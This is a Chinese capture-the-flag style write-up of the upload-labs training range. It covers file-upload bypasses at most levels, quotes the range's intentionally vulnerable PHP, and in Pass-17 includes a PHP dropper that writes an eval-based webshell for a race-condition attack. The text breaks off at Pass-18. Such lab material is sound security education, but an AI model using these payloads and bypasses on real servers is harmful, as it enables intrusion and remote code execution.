upload-labs 靶场练习
靶场简介
个人博客时光机
upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。
项目地址:https://github.com/c0ny1/upload-labs
本writeup所使用环境为作者所提供的 windows环境一键启动环境。
靶场环境
漏洞简介
文件上传漏洞是由于对上传的文件没有进行合理严格的过滤,导致攻击者上传的文件被服务端解析,导致恶意文件中所包含的恶意代码被执行,攻击者可以通过此文件执行服务端命令。
思维导图
可以点击【文件上传漏洞】查看思维导图原件。
开始闯关
Pass-01
看到上传接口,就先上传一个shell文件,开启BP抓包看看数据,判断是否有数据传送
看到页面已经提示只能上传 这些图像文件,而且BP没有抓到数据包,说明没有从服务端进行验证,而是直接在前端对文件进行了校验。
直接使用浏览器的功能禁用js代码运行或者使用插件禁止。
再上传一次
访问一下这个文件
成功访问到上传的文件,如果在文件上传漏洞中能正常的上传shell文件然后正常的访问到文件,说明这个漏洞就存在,然后就可以利用其他方法进行getshell了。
# 源码
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
方法:客户端绕过
Pass-02
先随便上传一个shell文件,判断是黑白名单还是MIME限制。
提示说 文件类型不能上传,但是这样还判断不出来是说明限制,继续上传文件,测试那些文件可以上传上去。
发现图片的可以正常上传上去,将我们刚刚抓到的数据,文件后缀改成png看看能不能正常上传。
发现还是不能上传,但是刚刚的png图片就可以上传,所以这里可能是对文件的 MIME 进行了过滤,或者对文件内容进行了判断。
先修改文件的 MIME 也就是 Content-Type 字段
# 常用 MIME
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
普通文本 .txt text/plain
表明是某种二进制数据 .bin application/octet-stream
超文本标记语言文本 .html text/html
发现文件已经正常的上传上去了,然后访问一下这个文件
成功解析了,这时候就可以看到服务端 php 版本和中间件版本以及开启的模块等信息。
然后,就可以将制作的 php一句话木马 进行上传,getshell
上传完成后,访问上传的shell文件,并将想要执行的命令通过 info 进行传参,最后由 **system() **函数在系统上执行命令,**print_r **打印结果到页面上。
也可以上传一句话木马,然后使用webshell 工具进行连接
使用菜刀进行连接
# 源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) { //校验文件的MIME类型,只能为 image/png、image/jpeg、image/gif 才能上传成功
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
方法: MIME/Content-Type字段验证绕过
Pass-03
一样先测试有什么限制,判断限制的类型,再进行绕过
上传一个php文件之后提示不能上传这些后缀的文件,说明这是一个【黑名单限制】凡是在黑名单内的文件都不能上传,但是提示中只写了四个文件后缀,可以尝试一下其他可被解析的文件后缀,尝试绕过。
把后缀修改为 php3 后发现上传成功,而且文件被改了名字,先访问一下,看看是否可以被解析。
出现一片空白,查看了一下页面源码,发现 php3 不能被解析,php5等等估计也是如此,不过还是得尝试一下。
尝试了几类都不能解析,就没办法了,这里是绕过黑名单,可以使用 .php3 .php5 .php7 .phtml 等这类可以被解析的后缀进行上传,但是服务端使用的是apache 中间件,而且上传的文件被更改了名字没办法使用**.htaccess**文件进行解析,只能自己到环境中添加一个 解析配置,从而完成这关。
# 修改 容器环境内apache2.conf文件
root@25be7a005050:/etc/apache2# echo 'AddType application/x-httpd-php .php3 .php7 .phtml' >> apache2.conf
root@25be7a005050:/etc/apache2# cat apache2.conf | grep AddType
AddType application/x-httpd-php .php3 .php7 .phtml
# 重启一下容器,再访问上传的.php3 .php7 .phtml这类文件
[root@vulnshow ~]# docker restart upload-labs
upload-labs
再次访问 php3 文件,就可以看到文件被解析了,这关中 绕过黑名单 的目的也达到了,前提是服务端能够解析这些文件。
# 源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp'); //定义黑名单的数组
$file_name = trim($_FILES['upload_file']['name']);//删除文件两端的全部空格、\0、\r、\n、\t、等特殊字符
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写,防止windows系统对大小写不敏感
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA,防止windows系统对::$DATA之后的字符全部删除
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
方法:配置文件不规范导致一些文件被成功解析
Pass-04
还是一样先尝试上传,这次直接上传一个 .phtml 的文件,再判断过滤类型。
直接被拦截了,说明这里很可能还是黑名单限制,随便上传一个不存在的文件后缀,看看是否能上传。
正常上传上去了,说明这里肯定是黑名单没错了,如果是白名单就是会限制只能上传哪些后缀的文件(如只能上传png,jpeg,gif),黑名单就是会限制不能上传那些后缀的文件(如上一题中的,php、asp这类文件明确不能上传),绕过黑名单的方法就是一个一个测试,看看那些敏感文件被忽略了没写全。
apache2 中和配置相关的敏感配置文件就是【.htaccess】文件
nginx 中则是【.user.ini】文件
这两个文件的作用是一样的,只是配置语法不一样,.htaccess 和 .user.ini 文件中的配置可以覆盖apache2.conf中的配置,并对当前目录和子目录生效。
看到这里上传的文件并没有修改文件名,所以就直接先上传一个 .htaccess 文件。
成功上传 .htaccess 文件,文件中的内容意思是:将 **.abcdefghijk **后缀的文件使用php语法进行解析,并且在当前目录和子目录中生效。
成功绕过了黑名单的过滤限制。
# 源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) { // 过滤一堆的文件后缀,就是没过滤 .htaccess 和 .user.ini 文件
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
方法:Apache 敏感文件上传漏洞
Pass-05(Windows环境)
这关比较难搞,尝试了几种绕过都不行,先分析下源码吧
# 源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);//过滤两端的空格
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.'); //截取最后一个点到最后的字符串(.user.ini 最后得到结果就是 .ini )
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;// 更改文件名
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
首先,先使用 trim() 函数将文件的首尾空格都去除,然后使用 deldot() 函数将文件末尾的点去除掉,再使用 strrchr() 函数截取文件名中最后一个点到最后的字符串,再使用 str_ireplace() 函数将字符串中含有 ::$DATA 的部分替换为空,最后再对字符串进行首尾去空,再进行后缀的校验。
1、先看前面的操作,如果在 Linux 下,排除大小写绕过、排除使用 **.user.ini **文件
2、由于strrchr()函数会截取指定字符串位置到最后位置的全部字符,没办法在中间添加空格或者0x00截断
3、最后修改了上传文件后缀之前的全部字符
最终,这关如果在linux环境下感觉没什么方法可以绕过,但是如果在windows下遇见这种类型的漏洞,完全可以进行绕过。
这是在windows上搭建的环境,源码基本和upload-labs是一致的,这边就用这个靶场演示在 windows 下如何绕过,一样直接上传一个shell文件,根据windows 大小写不敏感的特性,就可以直接将后缀进行大小写替换这种进行绕过,而且源码中并没有对文件进行大小写过滤。
成功上传了,直接访问即可
方法:大小写绕过
Pass-06(windows环境)
随便上传一个文件先看看
虽然上传成功了,但是这里的文件只保留了最后的那个后缀,但是可以看出,这里使用的还是黑名单过滤,根据响应数据,知道这个服务端是apache/2.4,搜索了一下CVE
# Apache换行解析漏洞(CVE-2017-15715)
# 影响版本
Apache httpd 2.4.0 ~ 2.4.29
# 原理
在正则表示式中,$用来匹配字符串结尾位置,但如果设置了RegExp对象的Multiline属性,$也匹配\n或者\r。
# 配置文件
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
测试了一下,将空格的hex编码20改成00 然后上传,发现不行,所以还是先看下源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
源码中 没有限制两端的空格,只对后缀进行了转换成小写的,剔除了 ::$DATA 字符串,这就可以利用Windows的特性进行绕过,windows 系统保存文件的时候文件后缀末尾的空格和**.**都会默认删除掉。用 windows 环境来测试这题。
访问一下
为什么这题只能用空格来绕过呢,而不能用点? 因为源码中有 strrchr() 函数,会截取最后一个点的位置到字符串的最后的全部字符,如果用点的话,最后是不能存在php 这个字符串,所以只能用空格来绕过。
方法:空格绕过
Pass-07 (Nginx 环境)
还是一样先测试
这很清晰了,就是黑名单了,这次没有修改文件的名字,应该会比较好做一点,因为是apache服务器,所以先试试 .htaccess 也没有被ban
.htaccess 文件被ban掉了,又测试了下 .user.ini 文件,发现这个可以上传,也就是说,如果运行在 Nginx 下的话,这里就上传webshell了,.user.ini可以覆盖当前目录下以及子目录的配置,以下在 Nginx 环境中测试
访问一下 readme.php 文件(如果环境中没有这个文件,就自己建一个),auto_append_file=shell.ppp 这句配置会在访问当前目录下php文件的时候提前以php代码解析这个 shell.ppp 文件。
# 源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
方法:Nginx 敏感配置文件上传
Pass-08 (Windows 环境)
先上传了一个png后缀的shell文件测试能不能上传
可以上传,而且这里又改了文件名,再试试 .htaccess 文件能不能上传,还有其他一些敏感文件。
测试就可以看得出 ,这里又是一个比较全的黑名单过滤
从这个测试应该不难看出,我上传文件的后面的【 空格 点 空格 】都被过滤掉了。
根据上面的测试,这里的过滤代码中依然是过滤两次空格一个点,然后截取点之后的全部字符作为后缀,对文件进行了改名,如果在Windows下可以尝试使用**::$DATA或者%80~%99** 这些windows中可以使用的空字符来进行绕过。
Windows 中保存后缀有 :: D A T A ∗ ∗ 文 件 时 会 将 ∗ ∗ : : DATA** 文件时会将 **:: DATA∗∗文件时会将∗∗::DATA 去除
在后缀后面添加 %81~%99 进行url编码后可以绕过。
# 源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; *
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
# 为什么这关不使用 nginx 的 .user.ini 上传呢,原因就在于 strrchr() 函数和 上面标 * 号的位置。
这关在 Windows 下绕过的技巧还是蛮多的,Linux下的话,我还没找到什么方法可以绕过,欢迎有思路的大佬 指点指点。
方法:空字符绕过
Pass-09(Windows 环境)
随便上传个文件,看到响应信息,初步判断这里是黑名单、这次名字没有被改。
尝试上传以下敏感文件和后缀加点或者空格的文件,检测一下过滤机制
上传的文件被删掉了一个空格和一个点,最后留下的是有个空格,说明进行没有循环过滤,只过滤了两次空格和一次点。
靶场是在windows下的,这个情况已经可以绕过了,保存的文件中没有点和空格。
# 源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) { // 这里没有过滤 .user.ini 文件由于环境使用的中间件是 apache 因此 .user.ini 文件没什么用
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.'); // 截取最后一个点的位置到最后的位置(所以上面必须要在后缀后面跟上两个点,一个被deldot去除了,留下一个就是为了能让截取函数不截取.php的关键字)
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
方法:绕过 trim函数、deldot函数和strrchr函数
Pass-10
随便先上传一个shell文件,看到响应 ,就知道 这里的php 关键字 被过滤了
先尝试一下双写绕过
双写正常绕过,这里没有进行循环过滤关键字,访问shell地址即可
方法:关键词双写绕过
Pass-11
我直接按照上一题的文件上传了,提示只能上传 .jpg | .png | .gif 文件,白名单了,尝试 MIME | 文件头校验 | 0x0a 解析漏洞
先尝试一下 MIME ,不能绕过
尝试 文件头,也不能绕过
但是注意到一个地方,就是 文件保存的路径,是直接使用的post请求,将文件拼接到路径下,这样就可以尝试一下 %00 截断。
成功的上传上去了 %00 会在提交之后被解析,因此 服务器就直接将**%00的前部分**进行了保存,而后面的就被截断了。访问前部分的地址即可。
发现一个问题,没解决掉,如果使用完整的地址访问 也是可以访问到的,按理说这个png文件应该是不会存在的,但是却可以正常的访问到不知道是什么原因。
后来又随便的测试了下,发现 被截断的文件后面不管跟什么都可以解析到上传的那个文件
就挺奇怪的。
方法:%00 截断绕过
Pass-12
随便上传了一个文件就发现这里的表单还有个隐藏的输入框,值是 文件保存的路径,这里就直接使用 0x00 截断来进行绕过
虽然响应中返回的是png的路径,实际上文件保存的时候并没有将 0x00 后面的保存下来,访问一下。
方法:0x00截断绕过
Pass-13
看任务是要上传 图片🐎 先测试上传 gif 类型的文件然后抓包看数据。在百度上随便下载一个gif图,正常上传抓包
这里存在一个文件包含的php文件,在gif图片最后的位置 添加上一句话木马再上传,通过文件包含来执行代码
打开 include.php 文件,这里直接显示了 源码,是利用 GET 方法对 file 参数传参
然后用同样的方法把png 和 jpg 马都上传上去,进行文件包含访问就可以了
# 源码
function getReailFileType($filename){
$file = fopen($filename, "rb"); // 以读取二进制方式打开文件
$bin = fread($file, 2); //只读2字节,1字节=8bit
fclose($file);
$strInfo = @unpack("C2chars", $bin); // unpack() 函数用来解包文件
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']); // 返回解包后的值然后连结(函数的作用不是很明白找了文章也没很懂,有兴趣的自己再学习下)
$fileType = '';
switch($typeCode){ // 判断上面解包后的数据和这个数据是不是相等,相同的输出对应的格式
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
方法:文件头–图片马和文件包含漏洞利用
Pass-14
直接上传了一个jpeg图片🐎就过了,访问地址就成功执行了php代码
上传gif和png试试看
感觉和 Pass-13 没啥差距感觉比 13 还容易一点,正常的上传然后通过 文件包含执行图片中的代码,正常的输出了。
前6位是GIF的文件头部信息
后面7位是图片的宽高和其他信息,将前面的
修改 php 文件 添加上图片文件的属性,修改成gif的信息后保存为gif图片。
成功的将恶意图片上传到了服务器上,然后再通过文件包含访问图片即可执行代码。
通过上面的修改操作,就可以直接绕过 **getimagesize() **函数的限制了(其实修改文件头也就是前四位就可以了,对于其他类型的可能长度不一致)。
# 源码
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename); // 获取图片的信息及大小,成功返回数组,失败则返回 FALSE
$ext = image_type_to_extension($info[2]); // 根据指定的图像类型返回对应的后缀名
if(stripos($types,$ext)>=0){ // 查找截取的后缀是否在白名单中
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file); // 确认是图片类型后就进行保存文件
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
方法:绕过 getimagesize() ,修改恶意代码文件的文件信息
Pass-15
还是随便上传一个图片马
发现和之前的关卡好像差不多,应该还是在源码中没过滤太多东西,直接先看源码。
# 源码
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename); //判断一个图像的类型,如果发现了对应的类型,返回一个对应的常量,否则返回 False
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
对 php 文件进行了测试,发现只要改了 文件头就可以直接绕过这个限制了。
png 和 jpg 应该也是一样,修改下文件头就可以绕过了
方法:文件头绕过
Pass-16
还是上传一个图片马看看情况
发现这次没有用了,图片马中的代码没有执行。
访问图片的位置,发现图片可以正常访问
把图片拉下来放到 hex 里面看看,发现我们下载下来的图片马中的一句话消失了
不知道是什么原因导致的,先看看源码
# 源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path); // 由文件或 URL 创建一个新图象。失败后返回 false
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
源码中对 上传的图片进行了二次渲染,把恶意代码给整没了,对比下图片的 hex 会发现有些地方 经过二次渲染之后也没有改变,这里就是没有被覆盖的地方,将 恶意代码放到这个位置,再进行绕过
没有标红的位置是相同的,标红的位置是不同的、斜杠部分是对应两边位置不足的部分,这两个文件相同的部分较少没办法直接改,我又上传了一个gif文件的,进行对比
可以看到 有很大一部分是相同的,就可以在相同的部分加上 恶意代码
成功的绕过了 二次渲染
方法:利用二次渲染后未覆盖的部分传递恶意代码
Pass-17
上传一个 图片马 然后依然可以利用文件包含漏洞进行解析,但是这似乎没有什么意义
上传一个php文件的时候会发现文件被拦截了,说明这是个白名单
如果使用文件包含的话这很容易就过去了,但是应该还有其他方法进行绕过,所以看看源码
# 源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1); // 截取上传文件的后缀(不包括点)
$upload_file = UPLOAD_PATH . '/' . $file_name;
1)if(move_uploaded_file($temp_file, $upload_file)){ // 将上传的文件移动到新位置
2) if(in_array($file_ext,$ext_arr)){ // 这里是进行文件后缀的判断
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file); // 删除文件
}
}else{
$msg = '上传出错!';
}
}
看到上面 1) 和 2) 的位置,先是将上传的文件移动到了新的位置之后再判断文件的是不是图片如果不是再删除移动的图片,逻辑上是不是有点不严谨了,说明这里就存在可以让我们绕过的地方,如果疯狂的上传和访问图片,就可能造成文件正在被访问不能删除,文件就可以暂时的保留了。
为了 webshell 可以更好的发挥作用,我这里使用php自动生成一句话木马,这样如果某一次访问成功了,就会生成一个木马文件,目的就达到了。
# 被访问的文件中的代码
<?php
fputs(fopen('shell.php', 'w'),'<?php @eval($_POST["cmd"]) ?>')
?>
# shell.php 文件就是将被生成的webshell文件,里面写一句话代码
随便上传一个php文件进行抓包,将抓包的数据发送Intruder模块中
设置 载荷 为无载荷,将无限期重复勾选上,这样 就可以一直上传shell文件,根本停不下来。
模拟访问上传的shell文件,进行抓包,设置无限制访问,当有一次访问成功后就会在 上传的目录下生成一个 webshell.php 文件。
两个 Payload 都设置好了之后,就可以开始表演了。
小插曲:这里不知道是什么原因一直导致上传出错,换了一个环境就可以正常响应了,所以下面就用另外一个环境进行 条件竞争 的测试。(后来发现是因为windows系统的安全中心的问题,php文件一提交就被删了,导致代码中找不到移动的文件然后报错)
Burp 访问shell文件的时候总是报错,没办法 只能临时用python跑一下了,最终还是跑出来了了,挺好。
访问一下 webshell.php 文件,验证一些是否真的成功生成了。
访问空白,说明文件存在,只是没有输出语句,所以看起来就是空白的,使用插件给shell传参执行。
成功访问 webshell.php 文件并传参输出。
方法:条件竞争
Pass-18
上传一个shell文件抓包,放到重放模块进行测试,先是测试了一下服务端验证逻辑,我在png后面加了空格,响应中直接提示不允许上传,正常上传一个png后缀的文件就没有问题。
上面和下面的返回对比,就知道,这关没有过滤空格,也不校验 MIME 和 文件头只是校验文件的后缀,妥妥的白名单。
没什么思路,就看看源码和提示吧
# 源码
/index.php
$is_upload = false;
$msg = null;
